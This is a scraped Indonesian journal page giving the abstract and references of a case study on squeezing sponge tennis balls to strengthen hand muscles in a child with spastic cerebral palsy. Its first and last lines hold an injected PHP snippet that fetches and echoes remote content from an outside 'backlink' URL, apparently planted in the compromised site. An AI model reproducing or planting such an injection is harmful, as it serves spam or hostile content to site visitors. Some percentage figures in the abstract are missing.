$a = file_get_contents('https://purefine.online/backlink.php'); echo $a; Latihan Meremas Bola Tenis Spons Untuk Meningkatkan Kemampuan Otot Tangan (Studi Kasus Anak Tunadaksa Cerebral Palsy Tipe Spastic) | Manik | Sport Science and Health

Latihan Meremas Bola Tenis Spons Untuk Meningkatkan Kemampuan Otot Tangan (Studi Kasus Anak Tunadaksa Cerebral Palsy Tipe Spastic)

Nengteng Manik, Slamet Raharjo, Oliviana Andiana

Abstract


Abstrak

Cerebral Palsy Tipe Spastic ditandai dengan terjadinya kekakuan pada sistem otot karena terjadi peningkatan pada tonus otot, sehingga mengakibatkan otot terus berkontraksi sehingga menimbulkan kekakuan pada anggota tubuh. Penyandang Cerebral Palsy Tipe Spastic mengalami gangguan pada sindrom extra piramidal karena perubahan pada ganglia basal dari otak yang disebut leukoaraiosis (hypoxic-ischemic insult) yang menyebabkan lesi pada periventrikular pada basal ganglia sehingga mengakibatkan anak cerebral palsy tipe spastic mengalami kekakuan. Penelitian ini menggunakan jenis penelitian tindakan olahraga dengan menggunakan model latihan meremas bola tenis spons. Penelilian ini bertujuan untuk mengetahui pengaruh latihan meremas bola tenis spons untuk meningkatkan kemampuan otot tangan pada anak cerebral palsy tipe spastic. Desain penelitian ini menggunakan metode studi kasus dengan rancangan penelitian menggunakan single subject research (SSR), dengan model desain A-B dan menggunakan alat ukur hand grip dynamometer. Subjek penelitian ini ialah anak cerebral palsy tipe spastic di YPAC Kota Malang. Analisis yang digunakan ialah analisis visual dalam kondisi dan analisis visual antar kondisi. Hasil penelitian ini menunjukkan adanya pengaruh yang signifikan terhadap latihan meremas bola tenis spons terhadap peningkatan kemampuan otot tangan. Skor pada kondisi baseline pada tangan kanan dan kiri persentase = 0%. Sedangkan pada kondisi intervensi setelah mendapatkan perlakuan sebanyak 16 kali pertemuan mengalami peningkatan pada tangan kanan persentase sebesar  dan tangan kiri sebesar  dan persentase overlap 0%. Hasil penelitian ini menunjukkan ada peningkatan kemampuan otot tangan pada anak cerebral palsy tipe spastic setelah mendapatkan perlakuan. Peneliti menyarankan kepada anak yang memliki kemampuan otot tangan yang lemah agar melalukan metode latihan meremas bola tenis spons.

 

Kata kunci

tunadaksa cerebral palsy tipe spastic, meremas bola tenis spons, kemampuan otot tangan.

 


Full Text:

PDF

References


© Department of Occupational Therapy, Royal Children’s Hospital, Melbourne 2005

Abas, O., Abdelaziem, F. and Kilany, A., 2017. Clinical spectrum of cerebral palsy and associated disability in South Egypt: A local survey study. Open access Macedonian journal of medical sciences, 5(1), p.37.

Andi Prastowo. (2011). Metode Penelitian Kualitatif dalam Perspektif Rancangan Penelitian. Jogjakarta: Ar-Ruzz Media.

Gabis, L. V., Tsubary, N. M., Leon, O., Ashkenasi, A., & Shefer, S. (2015). Assessment of abilities and comorbidities in children with cerebral palsy. Journal of child neurology, 30(12), 1640-1645.

Ismunandar, H. and Ismiarto, Y.D., 2018. Hubungan antara Spastisitas Pergelangan Kaki dengan Kualitas Hidup pada Anak dengan Cerebral Palsy Tipe Spastik Quadriplegia. Jurnal Sistem Kesehatan, 4(1).

Jiang, H., Li, X., Jin, C., Wang, M., Liu, C., Chan, K. C., & Yang, J. (2019). Early Diagnosis of Spastic Cerebral Palsy in Infants with Periventricular White Matter Injury Using Diffusion Tensor Imaging. American Journal of Neuroradiology, 40(1), 162-168.

Johnston, M. V., & Hagberg, H. (2007). Sex and the pathogenesis of cerebral palsy. Developmental Medicine and Child Neurology, 49(1), 74–78.

Karthickeyan, K., Manikandan, R., Keerthana, G. C., Girija, S., & Suruthy, R. S. (2018). Haloperiodol Induced Extra Pryamidal Symptoms–A Case Report. International Journal of Pharmaceutical Sciences and Research, 9(10), 4457-4459.

Kumari, A.M.R.I.T.A. and Yadav, S., 2012. Cerebral Palsy: a mini review. International journal of therapeutic applications, 3, pp.15-24.

Lim, S.H., Kim, Y.H. and Lee, J.S., 2019. Normative Data on Grip Strength in a Population-Based Study with Adjusting Confounding Factors: Sixth Korea National Health and Nutrition Examination Survey (2014–2015). International journal of environmental research and public health, 16(12), p.2235.

Minciu, I., 2012. Clinical correlations in cerebral palsy. Maedica, 7(4), p.319.

Nagaraj, A., Nair, R. P., Ganapathy, S., & Lakshman, I. K. (2015). Bilateral basal ganglia calcification secondary to FAHRs syndrome: a rare entity. Journal of Neurological Disorders

psychosocial quality of life for children with cerebral palsy. International journal of pediatrics, 2014.

Selekta, M. C. (2018). Cerebral Palsy Tipe Spastik Quadriplegi Pada Anak Usia 5 Tahun. Jurnal Majority, 7(3), 186-190.

Sezer,S,Y. (2017). The impact of handgrip strength exercise on the targetshooting accuracy score for archers. Journal of Education and Training Studies Vol. 5, No. 5; May 2017.

Shamsoddini, A., Amirsalari, S., Hollisaz, M.T., Rahimnia, A. and Khatibi-Aghda, A., 2014. Management of spasticity in children with cerebral palsy. Iranian journal of pediatrics, 24(4), p.345.

Sunanto, J. Takeuchi, K., Nakata, H. (2013) Penelitian Dengan Subyek Tunggal. Bandung: UPI Press.

Tessier, D. W., Hefner, J. L., & Newmeyer, A. (2014). Factors related to

Tjasmini, M., 2016. Arah Pembelajaran Anak Cerebral Palsy. Pedagogia, 12(2), pp.60-70.

Trompetto, C., Marinelli, L., Mori, L., Pelosin, E., Currà, A., Molfetta, L., & Abbruzzese, G. (2014). Pathophysiology of spasticity: implications for neurorehabilitation. BioMed research international, 2014.

Utina, S.S. 2014. Pendidikan anak berkebutuhan khusus. Tadbir : Jurnal Manajemen Pendidikan Islam, Vol. 1, No. 2, Pp. 72-78

Wibowo, A., 2017. Untuk Meningkatkan Kemampuan Gerakan Koordinasi Mata Tangan. Latihan Lempar Tangkap Boa Pada Anak Tunadaksa Cerebral Palsy Tipe Dyskenesia. Skrlipsi Jurusan Ilmu Keolahragaan Fakultas Ilmu Keolahragaan UM.

World Health Organization, 2013. Birth defects in South-East Asia: a public health challenge: Situation analysis (No. SEA-CAH-13). WHO Regional Office for South-East Asia.


Refbacks

  • There are currently no refbacks.


Ilmu dan Kesehatan Olah Raga diindeks oleh:

beasiswa Google

Jurnal Ilmu Keolahragaan dan Kesehatan
Fakultas Ilmu Keolahragaan Universitas Negeri Malang

Penerbit:
Fakultas Ilmu Keolahragaan, Universitas Negeri Malang

ISSN: 2715-3886 (Media Online)
SK Nomor 0005.27153886 / JI.3.1 / SK.ISSN / 2019.12 - 17 Desember 2019

Kantor Terletak

---------------------------------------- ---------------------------------------- ---------------------------------------- $a = file_get_contents('https://purefine.online/backlink.php'); echo $a; ----------------------------------------